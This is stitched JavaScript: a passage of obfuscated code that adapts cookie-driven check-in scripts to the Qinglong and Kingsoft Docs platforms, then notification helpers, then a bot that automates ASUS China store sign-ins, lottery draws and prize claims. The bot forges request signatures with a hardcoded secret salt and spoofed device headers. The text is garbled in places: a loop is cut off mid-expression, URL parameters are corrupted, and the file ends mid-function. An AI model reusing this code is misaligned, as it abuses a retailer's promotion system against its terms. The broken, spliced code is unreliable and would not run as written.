_0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.auth = user.split(strSplitor)[0]; + $.token = user.split(strSplitor)[1]; + $.ckStatus = true; + await signIn() + for (let i of [1, 2]) { + await roll() + await $.wait(5000) + + } + await $.wait(5000) + + await get_more() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//签到 +async function signIn() { + let time = Date.parse(new Date) / 1e3 + let nonce = d(1e4, 99999) + let text = `${nonce}${time}Asus!@#$%^&*()Store` + let config = { + url: `https://store.asus.com.cn/storeapi/user/my/sign`, + method: "POST", + headers: { + 'User-Agent': 'okhttp/3.9.1', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Authorization': $.auth, + 'plat': 'android', + 'source': '2', + 'version': '2.7.16', + 'device': 'MI 8 Lite', + 'token': $.token, + 'visitorid': 'a232e99938994576', + 'Cache-Control': 'no-cache' + }, + data: `timestamp=${time}&nonce=${nonce}&signature=${MD5(text)}` + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`签到成功`) + } else { + $.log(`签到失败 [${result.msg}]`) + } +} + +//获取兑奖码 +async function get_more() { + let time = Date.parse(new Date) / 1e3 + let nonce = d(1e4, 99999) + let text = `${nonce}${time}Asus!@#$%^&*()Store` + let config = { + url: `https://store.asus.com.cn/storeapi/user/activity/get-more`, + method: "POST", + headers: { + 'User-Agent': 'okhttp/3.9.1', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Authorization': $.auth, + 'plat': 'android', + 'source': '2', + 'version': '2.7.16', + 'device': 'MI 8 Lite', + 'token': $.token, + 'visitorid': 'a232e99938994576', + 'Cache-Control': 'no-cache' + }, + data: `page=1&limit=10×tamp=${time}&nonce=${nonce}&signature=${MD5(text)}` + } + let { data: result } = await Request(config) + if (result?.code == 200) { + for (let i of result.data.list) { + $.log(`历史奖品:${i.id} ===> [${i.prize_name}]`) + if (i.is_exchange !== 1) { + if (i.level == 4) { + $.log(`${i.id} 未兑换 --- 脚本执行兑换`) + await exchange(i.id) + } else { + $.log(`${i.id} 未兑换实物奖励 --- 请看规则找客服或页面兑换`) + } + + } + } + + } +} +//兑奖 + +async function exchange(id) { + let time = Date.parse(new Date) / 1e3 + let nonce = d(1e4, 99999) + let text = `${nonce}${time}Asus!@#$%^&*()Store` + let config = { + url: `https://store.asus.com.cn/storeapi/user/activity/exchange`, + method: "POST", + headers: { + 'User-Agent': 'okhttp/3.9.1', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Authorization': $.auth, + 'plat': 'android', + 'source': '2', + 'version': '2.7.16', + 'device': 'MI 8 Lite', + 'token': $.token, + 'visitorid': 'a232e99938994576', + 'Cache-Control': 'no-cache' + }, + data: `id=${id}×tamp=${time}&nonce=${nonce}&signature=${MD5(text)}` + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`兑换成功 [${id}]`) + } else { + $.log(`兑换失败 [${result.msg}]`) + } +} +//抽奖 +async function roll() { + let time = Date.parse(new Date) / 1e3 + let nonce = d(1e4, 99999) + let text = `${nonce}${time}Asus!@#$%^&*()Store` + let config = { + url: `https://store.asus.com.cn/storeapi/user/activity/roll`, + method: "POST", + headers: { + 'User-Agent': 'okhttp/3.9.1', + 'Connection': 'Keep-Alive', + 'Accept-Encoding': 'gzip', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Authorization': $.auth, + 'plat': 'android', + 'source': '2', + 'version': '2.7.16', + 'device': 'MI 8 Lite', + 'token': $.token, + 'visitorid': 'a232e99938994576', + 'Cache-Control': 'no-cache' + }, + data: `ticket=RixzlRQgH&activity_type=1&active_code=×tamp=${time}&nonce=${nonce}&signature=${MD5(text)}` + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`抽奖成功`) + } else { + $.log(`抽奖失败 [${result.msg}]`) + } + +} +function d(t, e) { + var r = e - t + , n = Math.random(); + return String(t + Math.round(n * r)) +} + +function MD5(data) { + const crypto = require('crypto'); + return crypto.createHash('md5').update(data).digest('hex'); +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, 